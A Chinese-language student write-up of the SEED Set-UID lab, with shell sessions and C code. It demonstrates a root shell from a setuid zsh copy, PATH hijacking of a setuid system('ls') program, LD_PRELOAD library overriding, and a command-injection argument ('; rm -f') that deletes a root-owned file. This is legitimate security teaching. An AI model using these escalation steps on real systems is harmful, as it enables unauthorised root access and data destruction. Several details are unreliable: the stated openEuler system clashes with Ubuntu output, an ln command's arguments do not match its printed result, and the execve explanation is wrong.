SEED实验—SetUID

Lab 1:Set-UID Program Vulnerability

一、实验概况

1.1 实验描述

Set-UID是Unix操作系统中一种重要的安全机制。运行Set-UID程序时,它将采用所有者的权限。例如,如果程序的所有者是root,那么任何人运行此程序时,程序在执行期间获得root权限。Set-UID允许我们做很多有趣的事情,但不幸的是,它也是很多坏事的罪魁祸首。 因此,本实验的目标有两个方面:

  • 欣赏其良好的一面:理解为什么需要Set-UID以及如何实现它
  • 注意其不好的一面:了解其潜在的安全问题

1.2 机器环境

我使用的配置是居于华为国产处理器鲲鹏920与华为开源操作系统OpenEuler

  • CPU:Huawei Kunpeng 920 3.0GHz * 2vCPUs
  • RAM:4GB
  • OS:openEuler 20.03 LTS

二、实验内容

2.1 task 1

2.1.1 实验任务

弄清楚为什么“passwd”,“chsh”,“su”,和“sudo”命令需要Set-UID机制,如果它们没有这些机制的话,会发生什么,如果你不熟悉这些程序,你可以通话阅读使用手册来熟悉它,如果你拷贝这些命令到自己的目录下,这些程序就不会是Set-UID程序,运行这些拷贝的程序,观察将会发生什么

其中,“passwd”用来修改用户的密码;“chsh”用来修改默认sh;“su”用来获取super user权限;“sudo”用来执行一个需要管理员权限的命令

2.1.2 实验流程

由于OpenEuler在华为云服务器上默认的登录用户是root,为了实验效果的准确性,需要重新建立一个zxy普通用户

首先创建一个新用户:

root@ecs-kc1-large-2-linux-20201025105424:~# sudo adduser zxy

然后将zxy用户添加到sudo组内:

root@ecs-kc1-large-2-linux-20201025105424:~# sudo adduser zxy sudo
Adding user `zxy' to group `sudo' ...
Adding user zxy to group sudo
Done.

切换到zxy用户中:

root@ecs-kc1-large-2-linux-20201025105424:~# su zxy
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

利用“whereis”命令找到su文件所属位置路径

zxy@ecs-kc1-large-2-linux-20201025105424:~$ whereis su
su: /bin/su /usr/share/man/man1/su.1.gz

拷贝“su”到zxy用户的工作目录下,并查看是否复制成功

zxy@ecs-kc1-large-2-linux-20201025105424:~$ cp /bin/su ./
zxy@ecs-kc1-large-2-linux-20201025105424:~$ ls ./
su

运行当前文件中的su,发现无法认证

zxy@ecs-kc1-large-2-linux-20201025105424:~$ ./su
Password: 
su: Authentication failure

运行/bin文件夹中的su,发现可以获得super user权限

zxy@ecs-kc1-large-2-linux-20201025105424:~$ /bin/su
Password: 

root@ecs-kc1-large-2-linux-20201025105424:/home/zxy# 

与上述四步相似的过程测试其他命令

sudo:

在当前文件下的sudo不可用,提示:必须属于用户ID 0并且设置setuid位;但在/usr/bin下的可正常使用

zxy@ecs-kc1-large-2-linux-20201025105424:~$ whereis sudo
sudo: /usr/bin/sudo /usr/lib/sudo /usr/share/man/man8/sudo.8.gz

zxy@ecs-kc1-large-2-linux-20201025105424:~$ cp /usr/bin/sudo ./

zxy@ecs-kc1-large-2-linux-20201025105424:~$ ls -all
total 200
drwxr-xr-x 2 zxy  zxy    4096 Mar 21 15:12 .
drwxr-xr-x 3 root root   4096 Mar 21 14:46 ..
-rw-r--r-- 1 zxy  zxy     220 Mar 21 14:46 .bash_logout
-rw-r--r-- 1 zxy  zxy    3771 Mar 21 14:46 .bashrc
-rw-r--r-- 1 zxy  zxy     807 Mar 21 14:46 .profile
-rwxr-xr-x 1 zxy  zxy   40368 Mar 21 14:56 su
-rwxr-xr-x 1 zxy  zxy  136616 Mar 21 15:12 sudo
-rw-r--r-- 1 zxy  zxy       0 Mar 21 15:00 .sudo_as_admin_successful
-rw------- 1 root root    698 Mar 21 15:00 .viminfo

zxy@ecs-kc1-large-2-linux-20201025105424:~$ ./sudo
sudo: ./sudo must be owned by uid 0 and have the setuid bit set

zxy@ecs-kc1-large-2-linux-20201025105424:~$ /usr/bin/sudo
usage: sudo -h | -K | -k | -V
usage: sudo -v [-AknS] [-g group] [-h host] [-p prompt] [-u user]
usage: sudo -l [-AknS] [-g group] [-h host] [-p prompt] [-U user] [-u user] [command]
usage: sudo [-AbEHknPS] [-r role] [-t type] [-C num] [-g group] [-h host] [-p prompt] [-T timeout] [-u
            user] [VAR=value] [-i|-s] [<command>]
usage: sudo -e [-AknS] [-r role] [-t type] [-C num] [-g group] [-h host] [-p prompt] [-T timeout] [-u
            user] file ...

passwd

在当前文件下的passwd不可用,提示:认证令牌操作错误;但在/usr/bin下的可以正常使用,显示:已成功更新密码

zxy@ecs-kc1-large-2-linux-20201025105424:~$ whereis passwd
passwd: /usr/bin/passwd /etc/passwd /usr/share/man/man1/passwd.1ssl.gz /usr/share/man/man1/passwd.1.gz /usr/share/man/man5/passwd.5.gz

zxy@ecs-kc1-large-2-linux-20201025105424:~$ cp /usr/bin/passwd ./

zxy@ecs-kc1-large-2-linux-20201025105424:~$ ls -all
total 256
drwxr-xr-x 2 zxy  zxy    4096 Mar 21 15:15 .
drwxr-xr-x 3 root root   4096 Mar 21 14:46 ..
-rw-r--r-- 1 zxy  zxy     220 Mar 21 14:46 .bash_logout
-rw-r--r-- 1 zxy  zxy    3771 Mar 21 14:46 .bashrc
-rwxr-xr-x 1 zxy  zxy   55288 Mar 21 15:15 passwd
-rw-r--r-- 1 zxy  zxy     807 Mar 21 14:46 .profile
-rwxr-xr-x 1 zxy  zxy   40368 Mar 21 14:56 su
-rwxr-xr-x 1 zxy  zxy  136616 Mar 21 15:12 sudo
-rw-r--r-- 1 zxy  zxy       0 Mar 21 15:00 .sudo_as_admin_successful
-rw------- 1 root root    698 Mar 21 15:00 .viminfo

zxy@ecs-kc1-large-2-linux-20201025105424:~$ ./passwd
Changing password for zxy.
(current) UNIX password: 
passwd: Authentication token manipulation error
passwd: password unchanged

zxy@ecs-kc1-large-2-linux-20201025105424:~$ /usr/bin/passwd
Changing password for zxy.
(current) UNIX password: 
Enter new UNIX password: 
Retype new UNIX password: 
passwd: password updated successfully

chsh

在当前文件下的chsh不可用,提示:无法改变ID到root;但在/usr/bin下的可以正常使用

zxy@ecs-kc1-large-2-linux-20201025105424:~$ whereis chsh
chsh: /usr/bin/chsh /usr/share/man/man1/chsh.1.gz

zxy@ecs-kc1-large-2-linux-20201025105424:~$ cp /usr/bin/chsh ./

zxy@ecs-kc1-large-2-linux-20201025105424:~$ ls -all
total 296
drwxr-xr-x 2 zxy  zxy    4096 Mar 21 15:24 .
drwxr-xr-x 3 root root   4096 Mar 21 14:46 ..
-rw-r--r-- 1 zxy  zxy     220 Mar 21 14:46 .bash_logout
-rw-r--r-- 1 zxy  zxy    3771 Mar 21 14:46 .bashrc
-rwxr-xr-x 1 zxy  zxy   40216 Mar 21 15:24 chsh
-rwxr-xr-x 1 zxy  zxy   55288 Mar 21 15:15 passwd
-rw-r--r-- 1 zxy  zxy     807 Mar 21 14:46 .profile
-rwxr-xr-x 1 zxy  zxy   40368 Mar 21 14:56 su
-rwxr-xr-x 1 zxy  zxy  136616 Mar 21 15:12 sudo
-rw-r--r-- 1 zxy  zxy       0 Mar 21 15:00 .sudo_as_admin_successful
-rw------- 1 root root    698 Mar 21 15:00 .viminfo

zxy@ecs-kc1-large-2-linux-20201025105424:~$ ./chsh
Password: 
Changing the login shell for zxy
Enter the new value, or press ENTER for the default
	Login Shell [/bin/bash]: 
Cannot change ID to root.

zxy@ecs-kc1-large-2-linux-20201025105424:~$ /usr/bin/chsh
Password: 
Changing the login shell for zxy
Enter the new value, or press ENTER for the default
	Login Shell [/bin/bash]: 
2.1.3 问题回答

setuid机制是一种控制用户权限的机制,因为“passwd”、“chsh”、“su”、“suso”都需要使得用户在普通权限下临时具有root权限,从而可以访问和修改一些root权限下的文件。如果没有setuid程序,那么普通用户讲没有权限修改自己的密码,没有权限运行很多程序,不能安装软件等。所以setuid是必要的机制

2.2 task 2

2.2.1 实验任务

在linux环境下运行Set-UID 程序,以root方式登录,拷贝/bin/zsh 到/tmp, 同时设置拷贝到tmp目录下的zsh为set-uid root权限,然后以普通用户登录,运行/tmp/zsh。你会得到root权限吗?请描述你的结果

2.2.2 实验流程

安装zsh

zxy@ecs-kc1-large-2-linux-20201025105424:~$ sudo apt install zsh

拷贝/bin/zsh到zxy用户的工作目录,同时设置拷贝到工作目录下的zsh为set-uid root权限

root@ecs-kc1-large-2-linux-20201025105424:/home/zxy# cp /bin/zsh ./

root@ecs-kc1-large-2-linux-20201025105424:/home/zxy# ls -all
total 1012
drwxr-xr-x 2 zxy  zxy    4096 Mar 21 15:51 .
drwxr-xr-x 3 root root   4096 Mar 21 14:46 ..
-rw-r--r-- 1 zxy  zxy     220 Mar 21 14:46 .bash_logout
-rw-r--r-- 1 zxy  zxy    3771 Mar 21 14:46 .bashrc
-rwxr-xr-x 1 zxy  zxy   40216 Mar 21 15:24 chsh
-rwxr-xr-x 1 zxy  zxy   55288 Mar 21 15:15 passwd
-rw-r--r-- 1 zxy  zxy     807 Mar 21 14:46 .profile
-rwxr-xr-x 1 zxy  zxy   40368 Mar 21 14:56 su
-rwxr-xr-x 1 zxy  zxy  136616 Mar 21 15:12 sudo
-rw-r--r-- 1 zxy  zxy       0 Mar 21 15:00 .sudo_as_admin_successful
-rw------- 1 root root    698 Mar 21 15:00 .viminfo
-rwxr-xr-x 1 root root 730432 Mar 21 15:51 zsh

root@ecs-kc1-large-2-linux-20201025105424:/home/zxy# chmod 4755 zsh

root@ecs-kc1-large-2-linux-20201025105424:/home/zxy# ls -all
total 1012
drwxr-xr-x 2 zxy  zxy    4096 Mar 21 15:51 .
drwxr-xr-x 3 root root   4096 Mar 21 14:46 ..
-rw-r--r-- 1 zxy  zxy     220 Mar 21 14:46 .bash_logout
-rw-r--r-- 1 zxy  zxy    3771 Mar 21 14:46 .bashrc
-rwxr-xr-x 1 zxy  zxy   40216 Mar 21 15:24 chsh
-rwxr-xr-x 1 zxy  zxy   55288 Mar 21 15:15 passwd
-rw-r--r-- 1 zxy  zxy     807 Mar 21 14:46 .profile
-rwxr-xr-x 1 zxy  zxy   40368 Mar 21 14:56 su
-rwxr-xr-x 1 zxy  zxy  136616 Mar 21 15:12 sudo
-rw-r--r-- 1 zxy  zxy       0 Mar 21 15:00 .sudo_as_admin_successful
-rw------- 1 root root    698 Mar 21 15:00 .viminfo
-rwsr-xr-x 1 root root 730432 Mar 21 15:51 zsh

然后以普通用户登录,运行zsh,并执行需要root权限的操作,可见zsh是能获得root权限的,zsh没有关于setuid的保护机制,zsh是不安全的

root@ecs-kc1-large-2-linux-20201025105424:/home/zxy# su zxy
zxy@ecs-kc1-large-2-linux-20201025105424:~$ ./zsh
ecs-kc1-large-2-linux-20201025105424# apt update
Hit:1 https://repo.huaweicloud.com/ubuntu-ports bionic InRelease
Hit:2 https://mirrors.aliyun.com/docker-ce/linux/ubuntu bionic InRelease                               
Hit:3 https://repo.huaweicloud.com/ubuntu-ports bionic-security InRelease   

然后测试bash

zxy@ecs-kc1-large-2-linux-20201025105424:~$ cp /bin/bash ./

zxy@ecs-kc1-large-2-linux-20201025105424:~$ chmod 4755 bash 

zxy@ecs-kc1-large-2-linux-20201025105424:~$ ls -all
total 2080
drwxr-xr-x 2 zxy  zxy     4096 Mar 21 16:08 .
drwxr-xr-x 3 root root    4096 Mar 21 14:46 ..
-rwsr-xr-x 1 zxy  zxy  1046904 Mar 21 16:08 bash
-rw-r--r-- 1 zxy  zxy      220 Mar 21 14:46 .bash_logout
-rw-r--r-- 1 zxy  zxy     3771 Mar 21 14:46 .bashrc
-rwxr-xr-x 1 zxy  zxy    40216 Mar 21 15:24 chsh
-rwxr-xr-x 1 zxy  zxy    55288 Mar 21 15:15 passwd
-rw-r--r-- 1 zxy  zxy      807 Mar 21 14:46 .profile
-rwxr-xr-x 1 zxy  zxy    40368 Mar 21 14:56 su
-rwxr-xr-x 1 zxy  zxy   136616 Mar 21 15:12 sudo
-rw-r--r-- 1 zxy  zxy        0 Mar 21 15:00 .sudo_as_admin_successful
-rw------- 1 root root     698 Mar 21 15:00 .viminfo
-rw-rw-r-- 1 root zxy    42381 Mar 21 15:57 .zcompdump
-rwsr-xr-x 1 root root  730432 Mar 21 15:51 zsh

测试发现bash在同样情况下,无法获得root权限,由此可见bash比zxh更要为安全

zxy@ecs-kc1-large-2-linux-20201025105424:~$ ./bash
zxy@ecs-kc1-large-2-linux-20201025105424:~$ 

2.3 task 3

2.3.1 实验任务

从题目2可以看出,/bin/bash有某种内在的保护机制可以阻止Set-UID机制的滥用。为了能够体验这种内在的保护机制出现之前的情形,我们打算使用另外一种/bin/zsh。在一些linux的发行版中(比如Redora和Ubuntu),/bin/sh实际上是/bin/bash的符号链接。为了使用zsh,我们需要把/bin/sh链接到/bin/zsh

2.3.2 实验流程

把默认的shell指向zsh

zxy@ecs-kc1-large-2-linux-20201025105424:~$ su
Password: 

root@ecs-kc1-large-2-linux-20201025105424:/home/zxy# ls -ls /bin/sh
0 lrwxrwxrwx 1 root root 4 Nov 26  2019 /bin/sh -> dash

root@ecs-kc1-large-2-linux-20201025105424:/home/zxy# rm -rf /bin/sh

root@ecs-kc1-large-2-linux-20201025105424:/home/zxy# ln -s /bin/zsh sh

root@ecs-kc1-large-2-linux-20201025105424:/home/zxy# ls -ls /bin/sh
0 lrwxrwxrwx 1 root root 8 Mar 21 16:14 /bin/sh -> /bin/zsh

2.4 task 4

2.4.1 实验任务

system(const char * cmd)系统调用函数被内嵌到一个程序中执行一个命令,system()调用/bin/sh来执行shell程序,然后shell程序区执行cmd命令。但是在一个Set-UID程序中system()函数调用shell是非常危险的,这是因为shell程序的行为可以被环境变量影响,比如PATH;而这些环境变量可以在用户的控制当中。通过控制这些变量,用心险恶的用户就可以控制Set-UID程序的行为

(1)你能够设置这个Set-UID程序运行你自己的代码而不是/bin/ls吗?如果你能的话,你的代码具有root权限吗?描述并解释你的观察

(2)修改/bin/sh使得其返回到/bin/bash,重复上面的攻击,你仍然可以获得root权限吗?描述并解释你的观察

2.4.2 实验流程

编写lab1-4.c

zxy@ecs-kc1-large-2-linux-20201025105424:~$ vim lab1-4.c

源代码:

#include<stdio.h>
#include<stdlib.h>
int main()
{
	system("ls");
	return 0;
}

编译程序并且更改其权限,程序可以正常运行

root@ecs-kc1-large-2-linux-20201025105424:/home/zxy# vim lab1-4.c 

root@ecs-kc1-large-2-linux-20201025105424:/home/zxy# gcc lab1-4.c  -g -o lab1-4

root@ecs-kc1-large-2-linux-20201025105424:/home/zxy# chmod u+s lab1-4

root@ecs-kc1-large-2-linux-20201025105424:/home/zxy# ls -all
total 2096
drwxr-xr-x 2 zxy  zxy     4096 Mar 21 16:47 .
drwxr-xr-x 3 root root    4096 Mar 21 14:46 ..
-rwsr-xr-x 1 zxy  zxy  1046904 Mar 21 16:08 bash
-rw-r--r-- 1 zxy  zxy      220 Mar 21 14:46 .bash_logout
-rw-r--r-- 1 zxy  zxy     3771 Mar 21 14:46 .bashrc
-rwxr-xr-x 1 zxy  zxy    40216 Mar 21 15:24 chsh
-rwsr-xr-x 1 root root   11624 Mar 21 16:47 lab1-4
-rw-rw-r-- 1 zxy  zxy       78 Mar 21 16:47 lab1-4.c
-rwxr-xr-x 1 zxy  zxy    55288 Mar 21 15:15 passwd
-rw-r--r-- 1 zxy  zxy      807 Mar 21 14:46 .profile
lrwxrwxrwx 1 root root       8 Mar 21 16:14 sh -> /bin/zsh
-rwxr-xr-x 1 zxy  zxy    40368 Mar 21 14:56 su
-rwxr-xr-x 1 zxy  zxy   136616 Mar 21 15:12 sudo
-rw-r--r-- 1 zxy  zxy        0 Mar 21 15:00 .sudo_as_admin_successful
-rw------- 1 root root     698 Mar 21 15:00 .viminfo
-rw-rw-r-- 1 root zxy    42381 Mar 21 15:57 .zcompdump
-rwsr-xr-x 1 root root  730432 Mar 21 15:51 zsh

root@ecs-kc1-large-2-linux-20201025105424:/home/zxy# su zxy

zxy@ecs-kc1-large-2-linux-20201025105424:~$ ls
bash  chsh  lab1-4  lab1-4.c  passwd  sh  su  sudo  zsh

zxy@ecs-kc1-large-2-linux-20201025105424:~$ ./lab1-4 
bash  chsh  lab1-4  lab1-4.c  passwd  sh  su  sudo  zsh

尝试修改PATH中路径,替换掉ls指令为攻击者设定的程序,将想要运行的程序重命名为ls放入修改后PATH路径,这里我们将运行的程序修改为zsh

root@ecs-kc1-large-2-linux-20201025105424:/home/zxy# ls -ls sh
0 lrwxrwxrwx 1 root root 8 Mar 21 16:14 sh -> /bin/zsh

root@ecs-kc1-large-2-linux-20201025105424:/home/zxy# mv sh ls

root@ecs-kc1-large-2-linux-20201025105424:/home/zxy# ls -ls ls
0 lrwxrwxrwx 1 root root 8 Mar 21 16:14 ls -> /bin/zsh

root@ecs-kc1-large-2-linux-20201025105424:/home/zxy# echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:/root/Download/gcc-arm-10.2-2020.11-aarch64-arm-none-linux-gnueabihf/bin

root@ecs-kc1-large-2-linux-20201025105424:/home/zxy# su zxy

zxy@ecs-kc1-large-2-linux-20201025105424:~$ PATH=/home/zxy:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:/root/Download/gcc-arm-10.2-2020.11-aarch64-arm-none-linux-gnueabihf/bin

zxy@ecs-kc1-large-2-linux-20201025105424:~$ ./lab1-4 
ecs-kc1-large-2-linux-20201025105424# apt update
Hit:1 https://repo.huaweicloud.com/ubuntu-ports bionic InRelease
Hit:2 https://repo.huaweicloud.com/ubuntu-ports bionic-security InRelease   

然后我们将篡改的程序修改为bash

zxy@ecs-kc1-large-2-linux-20201025105424:~$ PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:/root/Download/gcc-arm-10.2-2020.11-aarch64-arm-none-linux-gnueabihf/bin

zxy@ecs-kc1-large-2-linux-20201025105424:~$ rm -rf ls

zxy@ecs-kc1-large-2-linux-20201025105424:~$ ln -s /bin/bash ls

zxy@ecs-kc1-large-2-linux-20201025105424:~$ ls -all
total 2096
drwxr-xr-x 2 zxy  zxy     4096 Mar 21 17:28 .
drwxr-xr-x 3 root root    4096 Mar 21 14:46 ..
-rwsr-xr-x 1 zxy  zxy  1046904 Mar 21 16:08 bash
-rw-r--r-- 1 zxy  zxy      220 Mar 21 14:46 .bash_logout
-rw-r--r-- 1 zxy  zxy     3771 Mar 21 14:46 .bashrc
-rwxr-xr-x 1 zxy  zxy    40216 Mar 21 15:24 chsh
-rwsr-xr-x 1 root root   11624 Mar 21 16:47 lab1-4
-rw-rw-r-- 1 zxy  zxy       78 Mar 21 16:47 lab1-4.c
lrwxrwxrwx 1 zxy  zxy        9 Mar 21 17:28 ls -> /bin/bash
-rwxr-xr-x 1 zxy  zxy    55288 Mar 21 15:15 passwd
-rw-r--r-- 1 zxy  zxy      807 Mar 21 14:46 .profile
-rwxr-xr-x 1 zxy  zxy    40368 Mar 21 14:56 su
-rwxr-xr-x 1 zxy  zxy   136616 Mar 21 15:12 sudo
-rw-r--r-- 1 zxy  zxy        0 Mar 21 15:00 .sudo_as_admin_successful
-rw------- 1 root root     698 Mar 21 15:00 .viminfo
-rw-rw-r-- 1 root zxy    42381 Mar 21 15:57 .zcompdump
-rwsr-xr-x 1 root root  730432 Mar 21 15:51 zsh

zxy@ecs-kc1-large-2-linux-20201025105424:~$ PATH=/home/zxy:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:/root/Download/gcc-arm-10.2-2020.11-aarch64-arm-none-linux-gnueabihf/bin

zxy@ecs-kc1-large-2-linux-20201025105424:~$ ./lab1-4 
ls-4.4$ apt update
Reading package lists... Done
E: Could not open lock file /var/lib/apt/lists/lock - open (13: Permission denied)
E: Unable to lock directory /var/lib/apt/lists/
2.4.3 问题回答

P1:

可见能够设置这个Set-UID程序运行自己的代码而不是/bin/ls,基本思路是通过修改PATH变量。攻击者可以利用system查找程序时PATH的顺序来攻击。可见这样的程序是存在漏洞的。

P2:

可见修改/bin/sh使得其返回到/bin/bash,重复上面的攻击,不可以获得root权限。bash有某种内在的保护机制可以防止这种攻击

2.5 task 5

2.5.1 实验任务

Bob在为一家审计代理处工作,他正在调查一家公司是否存在诈骗行为。为了这个目的,他需要阅读这家公司在Unix系统中的所有文件;另一方面,为了保护系统的可靠性,他不能修改任何一个文件。为了达到这个目的,Vince——系统的超级用户为他写了一个SET-ROOT-UID程序,并且给了Bob可以执行它的权限。这个程序需要Bob在命令行中打出一个文件名,然后运行/bin/cat命令显示这个文件。既然这个程序是以root权限运行的,它就可以显示Bob想看的任何一个文件。然而,既然这个程序没有写操作,Vince很确信Bob不能用这个程序修改任何文件

(1)令q=0;这种方式,程序会使用system()调用命令行。这个命令安全吗?如果你是Bob,你能对系统的完整性妥协吗?你能重新修改一个你没有写权限的文件吗?

2.5.2 实验流程

在执行这个文件前,需要确保/bin/sh指向zsh

zxy@ecs-kc1-large-2-linux-20201025105424:~$ sudo rm -rf /bin/sh
[sudo] password for zxy: 

zxy@ecs-kc1-large-2-linux-20201025105424:~$ sudo ln -s /bin/sh /bin/zsh
0 lrwxrwxrwx 1 root root 8 Mar 21 18:21 /bin/sh -> /bin/zsh

zxy@ecs-kc1-large-2-linux-20201025105424:~$ ls -ls /bin/sh
0 lrwxrwxrwx 1 root root 8 Mar 21 18:21 /bin/sh -> /bin/zsh

编写lab1-5.c

zxy@ecs-kc1-large-2-linux-20201025105424:~$ vim lab1-5.c

源码:

#include<string.h>
#include<stdio.h>
#include<stdlib.h>
int main(int argc,char *argv[])
{
    char *v[3];
    if(argc<2){
        printf("Please type a file name.\n");
        return 1;
    }
    v[0] = "/bin/cat"; v[1] = argv[1]; v[2] = 0;
    int q = 0;
    if(q==0){
        char *command = malloc(strlen(v[0]) + strlen(v[1]) + 2);
        sprintf(command, "%s %s", v[0], v[1]);
        system(command);
    }
    else execve(v[0], v, 0);
    return 0 ;
}

模拟攻击,编译lab1-5.c并将lab1-5设置为setuid root程序

root@ecs-kc1-large-2-linux-20201025105424:/home/zxy# gcc lab1-5.c -o lab1-5 -g
lab1-5.c: In function ‘main’:
lab1-5.c:18:10: warning: implicit declaration of function ‘execve’ [-Wimplicit-function-declaration]
     else execve(v[0], v, 0);
          ^~~~~~

root@ecs-kc1-large-2-linux-20201025105424:/home/zxy# chmod 4755 lab1-5

root@ecs-kc1-large-2-linux-20201025105424:/home/zxy# ls -l ./lab1-5
-rwsr-xr-x 1 root root 12248 Mar 21 18:29 ./lab1-5

创建rootfile.dat文件在里面写入数据

root@ecs-kc1-large-2-linux-20201025105424:/home/zxy# vim rootfile.dat

root@ecs-kc1-large-2-linux-20201025105424:/home/zxy# cat rootfile.dat 
Hello Bob

root@ecs-kc1-large-2-linux-20201025105424:/home/zxy# ls -l rootfile.dat 
-rw-r--r-- 1 root root 10 Mar 21 18:31 rootfile.dat

然后执行lab1-5时,在程序的后面添加rm -rf rootfile.bat,这样system会继续执行该命令,并且删除文件

root@ecs-kc1-large-2-linux-20201025105424:/home/zxy# su zxy

zxy@ecs-kc1-large-2-linux-20201025105424:~$ ./lab1-5 "rootfile.dat; rm -f rootfile.dat"
Hello Bob

zxy@ecs-kc1-large-2-linux-20201025105424:~$ ls
bash  chsh  lab1-4  lab1-4.c  lab1-5  lab1-5.c  ls  passwd  su  sudo  zsh

可见rootfle.dat不属于Bob,但是Bob能成功利用漏洞将其删除

而后编辑lab1-5.c,将q值赋为1

zxy@ecs-kc1-large-2-linux-20201025105424:~$ vim lab1-5.c

源码:

#include<string.h>
#include<stdio.h>
#include<stdlib.h>
int main(int argc,char *argv[])
{
    char *v[3];
    if(argc<2){
        printf("Please type a file name.\n");
        return 1;
    }
    v[0] = "/bin/cat"; v[1] = argv[1]; v[2] = 0;
    int q = 1;
    if(q==0){
        char *command = malloc(strlen(v[0]) + strlen(v[1]) + 2);
        sprintf(command, "%s %s", v[0], v[1]);
        system(command);
    }
    else execve(v[0], v, 0);
    return 0 ;
}

而后重复上述攻击

zxy@ecs-kc1-large-2-linux-20201025105424:~$ su
Password: 

root@ecs-kc1-large-2-linux-20201025105424:/home/zxy# gcc lab1-5.c -o lab1-5 -g
lab1-5.c: In function ‘main’:
lab1-5.c:18:10: warning: implicit declaration of function ‘execve’ [-Wimplicit-function-declaration]
     else execve(v[0], v, 0);
          ^~~~~~
          
root@ecs-kc1-large-2-linux-20201025105424:/home/zxy# chmod 4755 lab1-5

root@ecs-kc1-large-2-linux-20201025105424:/home/zxy# ls -l lab1-5
-rwsr-xr-x 1 root root 12248 Mar 21 18:41 lab1-5

root@ecs-kc1-large-2-linux-20201025105424:/home/zxy# echo "Hello Bob" > rootfile.dat

root@ecs-kc1-large-2-linux-20201025105424:/home/zxy# su zxy

zxy@ecs-kc1-large-2-linux-20201025105424:~$ ./lab1-5 "rootfile.dat; rm -f rootfile.dat"
/bin/cat: 'rootfile.dat; rm -f rootfile.dat': No such file or directory

可见无效果,具体的原因是system的工作方式是将后续的命令传递给shell,直接由本进程(父进程)执行命令,这样就可能被利用shell漏洞攻击。而execve是创建子进程,参数是传给子进程的,而setuid权限不会进行权限的继承,子进程无setuid权限,因此可以防止此类攻击

2.5.3 问题回答

P1:

这个命令不安全,因为system函数在这个程序里面受到用户输入的直接影响,提供给了用户构造攻击指令的空间,而且对setuid机制并无安全保护机制,使得任意用户可以通过这个程序和函数实现root权限下的任意指令执行;所以无法保证系统完整性;Bob可以删除无权访问的文件

2.6 task 6

2.6.1 实验任务

为了保证Set-UID程序在LD_PRELOAD环境的操纵下是安全的,动态链接器会忽略环境变量,但是在某些条件下是例外的,在下面的任务中,我们猜测这些特殊的条件到底是什么

2.6.2 实验步骤

建立一个动态链接库。把下面的程序命名为mylib.c。在函数库libc中重载了sleep函数

zxy@ecs-kc1-large-2-linux-20201025105424:~$ vim mylib.c

源码

#include<stdio.h>
void sleep(int s){
    printf("I am not sleeping\n");
}

编译mylib.c

zxy@ecs-kc1-large-2-linux-20201025105424:~$ gcc -fPIC -g -c mylib.c 

zxy@ecs-kc1-large-2-linux-20201025105424:~$ gcc -shared -Wl,-soname,libmylib.so.1 -o libmylib.so.1.0.1 mylib.o -lc

zxy@ecs-kc1-large-2-linux-20201025105424:~$ export LD_PRELOAD=./libmylib.so.1.0.1 

编写myprog.c

zxy@ecs-kc1-large-2-linux-20201025105424:~$ vim myprog.c

源码

#include<stdio.h>
int main(){
    sleep(1);
    return 0;
}

在普通用户编译myprog.c并运行,发现链接到的是mylib

zxy@ecs-kc1-large-2-linux-20201025105424:~$ gcc myprog.c -o myprog
myprog.c: In function ‘main’:
myprog.c:3:5: warning: implicit declaration of function ‘sleep’ [-Wimplicit-function-declaration]
     sleep(1);
     ^~~~~
zxy@ecs-kc1-large-2-linux-20201025105424:~$ ldd myprog
	linux-vdso.so.1 (0x0000ffff8cf49000)
	./libmylib.so.1.0.1 (0x0000ffff8cef9000)
	libc.so.6 => /lib/aarch64-linux-gnu/libc.so.6 (0x0000ffff8cda0000)
	/lib/ld-linux-aarch64.so.1 (0x0000ffff8cf1d000)
zxy@ecs-kc1-large-2-linux-20201025105424:~$ ./myprog 
I am not sleeping

在root下编译myprog.out,在普通用户下执行,发现是链接到真正的lib中

zxy@ecs-kc1-large-2-linux-20201025105424:~$ su
Password: 

root@ecs-kc1-large-2-linux-20201025105424:/home/zxy# gcc myprog.c -o myprog 
myprog.c: In function ‘main’:
myprog.c:3:5: warning: implicit declaration of function ‘sleep’ [-Wimplicit-function-declaration]
     sleep(1);
     ^~~~~
     
root@ecs-kc1-large-2-linux-20201025105424:/home/zxy# ldd myprog
	linux-vdso.so.1 (0x0000ffffb8e1f000)
	libc.so.6 => /lib/aarch64-linux-gnu/libc.so.6 (0x0000ffffb8c88000)
	/lib/ld-linux-aarch64.so.1 (0x0000ffffb8df3000)
	
root@ecs-kc1-large-2-linux-20201025105424:/home/zxy# ./myprog 

在root下编译myprog,并设置为setuid程序,在root下执行,发行时链接到mylib.c

root@ecs-kc1-large-2-linux-20201025105424:/home/zxy# rm -rf myprog

root@ecs-kc1-large-2-linux-20201025105424:/home/zxy# export LD_PRELOAD=./libmylib.so.1.0.1

root@ecs-kc1-large-2-linux-20201025105424:/home/zxy# gcc myprog.c -o myprog 
myprog.c: In function ‘main’:
myprog.c:3:5: warning: implicit declaration of function ‘sleep’ [-Wimplicit-function-declaration]
     sleep(1);
     ^~~~~
     
root@ecs-kc1-large-2-linux-20201025105424:/home/zxy# chmod 4755 myprog

root@ecs-kc1-large-2-linux-20201025105424:/home/zxy# ldd myprog
	linux-vdso.so.1 (0x0000ffffbcc34000)
	./libmylib.so.1.0.1 (0x0000ffffbcbe4000)
	libc.so.6 => /lib/aarch64-linux-gnu/libc.so.6 (0x0000ffffbca8b000)
	/lib/ld-linux-aarch64.so.1 (0x0000ffffbcc08000)
	
root@ecs-kc1-large-2-linux-20201025105424:/home/zxy# ./myprog 
I am not sleeping

在其它用户下执行时,还是链接到真正的lib

root@ecs-kc1-large-2-linux-20201025105424:/home/zxy# su zxy

zxy@ecs-kc1-large-2-linux-20201025105424:~$ ./myprog 

zxy@ecs-kc1-large-2-linux-20201025105424:~$ 

在一个普通用户下把myprog编译成一个Set-UID 普通用户的程序在另一个普通用户下运行。在这种情况下,不会重载sleep函数

zxy@ecs-kc1-large-2-linux-20201025105424:~$ rm -rf myprog

zxy@ecs-kc1-large-2-linux-20201025105424:~$ export LD_PRELOAD=./libmylib.so.1.0.1

zxy@ecs-kc1-large-2-linux-20201025105424:~$ gcc myprog.c -o myprog 
myprog.c: In function ‘main’:
myprog.c:3:5: warning: implicit declaration of function ‘sleep’ [-Wimplicit-function-declaration]
     sleep(1);
     ^~~~~
     
